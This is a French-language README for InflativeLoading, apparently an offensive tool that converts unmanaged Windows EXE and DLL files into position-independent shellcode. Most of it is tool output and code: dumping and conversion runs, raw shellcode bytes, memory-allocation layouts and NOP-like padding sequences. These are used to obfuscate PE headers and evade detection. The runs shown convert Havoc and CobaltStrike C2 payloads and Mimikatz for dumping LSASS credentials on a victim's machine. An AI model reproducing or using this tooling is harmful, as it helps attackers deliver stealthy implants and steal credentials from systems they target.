senzee1984/inflativeloadingConvertissez dynamiquement un fichier EXE ou DLL non managé en code shell PIC en préfixant un stub de shellcode.
Article : https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading
Dans cette section, les mises à jour majeures sont présentées. Les mises à jour majeures incluent des supports ou fonctionnalités ajoutés.
Seuls quelques octets dans l'en-tête PE, tels que e_lfanew, l'RVA de la table d'importation, sont essentiels pour terminer le processus de chargement. Par conséquent, les autres octets peuvent être écrasés avec des valeurs aléatoires pour masquer les signatures de l'en-tête PE.
Une fois tous les processus terminés, même ces octets seront écrasés pour une obfuscation complète. Par exemple, d'après la capture d'écran ci-dessous, on peut remarquer que l'en-tête PE est principalement obfusqué, mais e_lfanew reste non obfusqué pour les besoins du chargement. Mais après le processus de chargement, e_lfanew est également obfusqué.
Cependant, selon le programme sélectionné, l'obfuscation peut ne pas être compatible avec celui-ci. Vous devez savoir comment fonctionne le programme. Par exemple, la charge utile DLL sans état de Havoc n'est pas compatible avec la fonction d'obfuscation car la DLL utilise également l'en-tête PE.
La charge utile EXE sans état de Havoc fonctionne bien avec l'obfuscation :```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] 3 iterations are needed
[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;
[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......
Generated shellcode successfully saved in file havocsc.bin
[#] Shellcode located at address 0x1ae8ab70000
[!] PRESS TO EXECUTE SHELLCODED EXE...
### 4/11/2024 Remplacer les NOP de bourrage par des séquences d'instructions de type NOP
Avant la mise à jour, des instructions `0x90/NOP` étaient ajoutées après le stub de shellcode réel pour aligner une page mémoire. Un grand nombre de NOP pourrait être détecté, c'est pourquoi le script InflativeLoading sélectionne dynamiquement des séquences d'instructions de type NOP prédéfinies. Les utilisateurs peuvent également en ajouter de nouvelles ou remplacer les existantes pour obtenir une meilleure obfuscation.```python
nop_like_instructions = [
{"instruction": [0x90], "length": 1}, # NOP
{"instruction": [0x86, 0xdb], "length": 2}, # xchg bl, bl;
{"instruction": [0x66, 0x87, 0xf6], "length": 3}, # xchg si, si;
{"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4}, # xchg rax, rbx; xchg rbx, rax;
{"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4}, # add dx, 0
{"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6}, # inc rax; dec rax;
{"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6}, # neg r8; neg r8;
{"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7}, # add rax,0x1; dec rax;
{"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10}, # sub rcx, 2; inc rcx; inc rcx
]
J'ai ajouté une logique supplémentaire au shellcode pour gérer certaines exceptions peu courantes. Par exemple, dans la charge utile DLL sans état de CobaltStrike, certaines entrées de relocalisation de base sont invalides car le RVA de la page est plus grand que la taille de l'image.
La taille de l'image est 0x58000.
Cependant, certains RVA sont plus grands que 0x58000.
De plus, le shellcode se termine gracieusement après avoir exécuté le shellcode converti.
Maintenant, le dumper peut afficher plus d'informations et fournir des suggestions pour l'allocation mémoire :```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);
Le stub de shellcode est fixé à `0x1000` octets, l'en-tête PE est fixé à `0x1000` octets, et la taille de la section text et des autres sections varie.
### 4/11/2024 Ajout de la prise en charge des DLL non gérées
Après la mise à jour, les DLL non gérées peuvent également être converties en shellcode PIC. Les cas de test pour les DLL personnalisées, les payloads de DLL sans état de Havoc et les payloads de DLL sans état de CobaltStrike sont tous passés.```powershell
PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin
[+] The file is a DLL file
[+] Image base of mapped .\havocdll.dll is 0x1a730000
[+] e_lfanew of mapped .\havocdll.dll is 0x80
[+] imageSize of mapped .\havocdll.dll is 0x1e000
[+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0
[+] Offset of section Header of mapped .\havocdll.dll is 0x188
[+] Size of text section of mapped .\havocdll.dll is 0x18000
[+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin
PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havocdll.bin -e true -o false -b havocdllsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗
██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝
██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗
██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝
██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗
╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee
Github Repository: https://github.com/senzee1984/InflativeLoading
Twitter: senzee@1984
Website: https://winslow1984.com
Description: Dynamically convert a native PE to PIC shellcode
Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80
[+] Shellcode Stub size: 850 bytes
[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes
[!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70"
buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04"
buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48"
buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d"
buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f"
buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c"
buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb"
buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b"
buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd"
buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c"
buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3"
buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0"
buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74"
buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01"
buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c"
buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80"
buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10"
buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c"
buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6"
buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0"
......126576 more bytes......
Generated shellcode successfully saved in file havocdllsc.bin
[#] Shellcode located at address 0x2108a9d0000
[!] PRESS TO EXECUTE SHELLCODED EXE...
J'ai légèrement modifié le code qui corrige l'IAT, car j'ai trouvé que certaines lignes de code étaient inutiles. Après cela, InflativeLoading peut exécuter certains programmes EXE compressés par UPX, y compris calc.exe, PsExec. Cependant, seulement certains des programmes compressés. Premièrement, il est peu probable que je teste toutes les configurations de compression possibles pour tous les programmes testés. Pour la deuxième raison, veuillez continuer à lire :
Pour les programmes qui n'ont pas de répertoire d'importation différée, InflativeLoading peut exécuter leurs versions compressées par UPX. Cependant, contrairement aux programmes non compressés, les programmes compressés ont toutes les ILT vides.
Prenons l'exemple de calc.exe normal, ILT et IAT sont identiques pour tous les modules.
Mais pour calc.exe compressé par UPX, ILT est vide pour toutes les entrées du répertoire d'importation.
Mais si le programme a un répertoire d'importation différée, comme Mimikatz, cela devient plus complexe.
Pour mimikatz.exe normal, le répertoire d'importation différée est le suivant :
Mais pour mimikatz.exe compressé par UPX, PE Bear est incapable de l'analyser, et moi non plus.
Ci-dessous un cas de test réussi pour calc.exe compressé par UPX.
L'un de mes objectifs est de convertir un exe en shellcode. De cette façon, certains outils de sécurité comme Mimikatz peuvent être utilisés avec plus de flexibilité. Bien que certains outils comme Donut aient déjà réalisé cela, je souhaite toujours créer un tel outil avec mon approche, et j'espère qu'elle pourra apporter quelques améliorations.
Motivé et inspiré par certains outils et techniques classiques et modernes, InflativeLoading est un outil capable de convertir dynamiquement un EXE/DLL non managé en shellcode PIC.
En bref, InflativeLoading génère et ajoute un stub de shellcode au début du module principal PE vidé.
L'outil se compose de DumpPEFromMemory.exe et de InflativeLoading.py.
Les deux composants suivants sont nécessaires pour convertir un fichier PE non managé en shellcode.
DumpPEFromMemory.exe est utilisé pour obtenir la version en mémoire du fichier PE sélectionné.
Pour les programmes EXE, il fonctionne en créant un processus en état suspendu et en vidant le module principal dans un fichier binaire (sur votre machine de développement). Pourquoi ? Un processus typique de chargement réflexif mappe chaque section d'un fichier PE dans une région mémoire nouvellement allouée. À ce sujet, j'ai deux préoccupations : Premièrement, bien que les données de chaque section soient fondamentalement cohérentes qu'elles résident sur le disque ou en mémoire, il pourrait encore y avoir certaines différences pour des fichiers PE particuliers ou dans des circonstances spécifiques.```c
// Code snippet from Maldev course
for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
memcpy(
(PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA
(PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA
pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size
);
}
Pour les fichiers `DLL`, DumPEFromMemory crée un mappage de fichier et mappe une vue du fichier sans exécuter DllMain().
Deuxièmement, le contenu du fichier PE existe déjà dans la mémoire du chargeur (comme un tableau d'octets), mais le chargeur alloue à nouveau de l'espace mémoire. L'exécution de DumpPEFromMemory est effectuée sur la machine de développement de l'opérateur. L'opérateur obtient un dump du fichier PE lorsqu'il est chargé en mémoire. Bien que certaines données nécessitent encore des mises à jour, il n'est pas nécessaire d'allouer une région mémoire sur la machine de la victime.
De cette façon, plutôt que de mapper manuellement un fichier, nous n'avons qu'à patcher des régions de données spécifiques comme `Import Directory`, `Base Relocation Table Directory`, `Delayed Load Import Descriptors Directory`, etc.
Le module principal dumped sera sauvegardé sous forme de fichier binaire à ajouter au stub de shellcode.
Par exemple, DumpPEFromMemory exécute un outil classique comme mimikatz et dump son module principal dans un fichier binaire.```powershell
PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\mimikatz.exe mimikatz.bin
[+] The file is an EXE file
[+] Process PID: 23052
[+] PEB Address:00000000004A5000
[+] Image Base Address:00007FF730E00000
[+] e_lfanew is 0x120
[+] Size Of The Image : 0x137000
[+] Size Of Optional Header : 0xf0
[+] Size Of text Section : 0xc5000
[+] Size of other sections of mapped .\mimikatz.exe is 0x71000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
[+] 29 iterations are needed
[+] Data successfully written to mimikatz.bin. Total bytes read: 0x137000
Et décharger la charge utile DLL de Havoc de la mémoire :```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin
### InflativeLoading Script
Le script génère dynamiquement un stub de shellcode et le préfixe au fichier dump.
Le shellcode effectue les tâches suivantes :
1. Parcourir le PEB et trouver kernel32.dll
2. Mettre à jour la ligne de commande
3. Parser kernel32.dll pour obtenir l'adresse de la fonction LoadLibraryA, GetProcAddress.
4. Localiser le fichier dump ajouté avec un offset
5. Réparer dynamiquement le répertoire des importations, le répertoire de la table de relocalisation de base, le répertoire des descripteurs d'importation à chargement différé, etc.
6. Choisir d'obfusquer l'en-tête PE
7. Transférer l'exécution au point d'entrée du fichier PE.
8. Se terminer proprement
Par exemple, utilisez le script pour lire mimikatz précédemment dumpé et fournir la ligne de commande appropriée pour dumper les informations d'identification dans LSASS :
Bien que le stub de shellcode devrait généralement être inférieur à 1000 octets, le script le rembourre jusqu'à 4096 octets pour l'alignement avec la limite de page mémoire. Ensuite, l'opérateur peut facilement définir des permissions de page appropriées pour différentes régions mémoire. Le dumper fournit une suggestion d'allocation mémoire :```powershell
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
Je pense que vous avez déjà pris connaissance des deux composants d'InflativeLoading, en résumé :
Meilleurs cas d'utilisation et Problèmes ou limitations connus pour obtenir des informations sur la sélection des fichiers PE.Parce qu'InflativeLoading en est à ses débuts, tous les exe ne sont pas bien pris en charge. Les DLL non managées sont bien prises en charge ; l'exécution de la fonction d'exportation arrive dans la prochaine mise à jour !
✅ Programme console natif qui ne dépend pas d'arguments, comme un implant C2 sans état, un simple programme console personnalisé.
✅ Programme console natif avec une console/shell interactive, comme Mimikatz.
✅ DLL non managée
✔️ Aucune fonction d'exportation spécifique n'est requise, ce qui le rend plus convivial pour les fichiers PE dont le code source et la compilation ne sont pas facilement accessibles
✔️ Évite les résultats non intentionnels dus aux différences entre le fichier PE sur disque et en mémoire dans certains cas
✔️ Élimine le besoin de conversion entre le décalage de fichier d'origine et le RVA
✔️ Évite l'allocation d'espace mémoire supplémentaire
✔️ Évite les régions mémoire RWX.
✔️ Même pour les régions mémoire RX, il ne commence pas par la caractéristique MZ, augmentant ainsi la difficulté d'investigation.
☑️ Prise en charge des EXE natifs normaux
☑️ Prise en charge des DLL non managées
☑️ Prise en charge des EXE/DLL ayant un répertoire d'importations différées
☑️ Correction de la IAT
☑️ Correction du répertoire de relocalisation de base
☑️ Tests réussis avec des programmes classiques comme calc, mimikatz, PsExec, etc.
☑️ Tests réussis avec des charges utiles C2 classiques, telles que les charges utiles DLL/EXE sans état de CobaltStrike et Havoc.
☑️ Prise en charge partielle des programmes packés.
⚠️ Certains des problèmes suivants pourront être corrigés à l'avenir, tandis que d'autres resteront hors de portée en raison de leur nature.
La ligne de commande fournie ne fonctionne pas toujours correctement. C'est un domaine majeur sur lequel je vais me concentrer.
Ne fonctionne pas bien pour les programmes GUI, comme mspaint.exe. Mais calc.exe fonctionne bien.
Ne fonctionne pas pour tous les programmes packés. Certains programmes packés peuvent être exécutés correctement, c'est au cas par cas.
Ne fonctionne pas pour les programmes qui nécessitent d'autres dépendances, comme des DLL personnalisées.
Prend en charge uniquement x64, et je ne prévois pas d'ajouter la prise en charge des programmes x86.
Si vous rencontrez l'un des problèmes ou limitations ci-dessus, l'exécution du shellcode peut planter, le programme converti peut ne pas identifier correctement la ligne de commande, ou il peut n'y avoir aucune réponse.
Par exemple, PsExec.exe peut être converti en shellcode PIC, cependant, la ligne de commande fournie par l'utilisateur ne peut pas être identifiée correctement.```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin
<...SNIP...>
Generated shellcode successfully saved in file psexec_merged.bin
[#] Shellcode located at address 0x27159360000
[!] PRESS TO EXECUTE SHELLCODED EXE...
Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation
Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.
## Cas de Test
| Programme | FORMAT | A une GUI ? | Arguments fournis ? | Exécution réussie | Exécution correcte avec arguments |
| ----------- | ----------- | ----------- |----------- | ----------- |----------- |
| Programmes C/C++ personnalisés simples | EXE | Non | Non |:heavy_check_mark: | N/A |
| DLL personnalisée simple | DLL | Non | Non |:heavy_check_mark: | N/A |
| Payload EXE Havoc et CobaltStrike | EXE | Non | Non |:heavy_check_mark: | N/A |
| Payload DLL Havoc et CobaltStrike | DLL | Non | Non |:heavy_check_mark: | N/A |
| calc.exe | EXE | Oui | Non |:heavy_check_mark: |N/A |
| mimikatz.exe | EXE | Non | Oui |:heavy_check_mark: |:heavy_check_mark: |
| PsExec | EXE | Non | Oui |:heavy_check_mark: |:no_entry_sign:|
| mspaint.exe | EXE | Oui | Non | :no_entry_sign: |N/A|
| Programmes packés | EXE | Non | Non | Partiel|N/A |
Des versions dumpées de calc.exe et mimikatz.exe se trouvent dans le dossier `bin/` du dépôt.
## Améliorations futures
:bell: Les fonctionnalités et améliorations suivantes sont attendues dans le futur.
+ Un chargeur séparé pour les programmes .NET.
+ Ajout du support pour les fonctions d'exportation DLL.
+ Ajout du support pour davantage de programmes packés.
+ Amélioration du code pourri : )
## Remerciements et Références
Les ressources suivantes m'ont beaucoup inspiré lors de mes recherches et de mon développement :
<https://github.com/TheWover/donut>
<https://github.com/d35ha/PE2Shellcode>
<https://github.com/hasherezade/pe_to_shellcode>
<https://github.com/monoxgas/sRDI>
<https://github.com/stephenfewer/ReflectiveDLLInjection>
<https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/>
<https://maldevacademy.com/>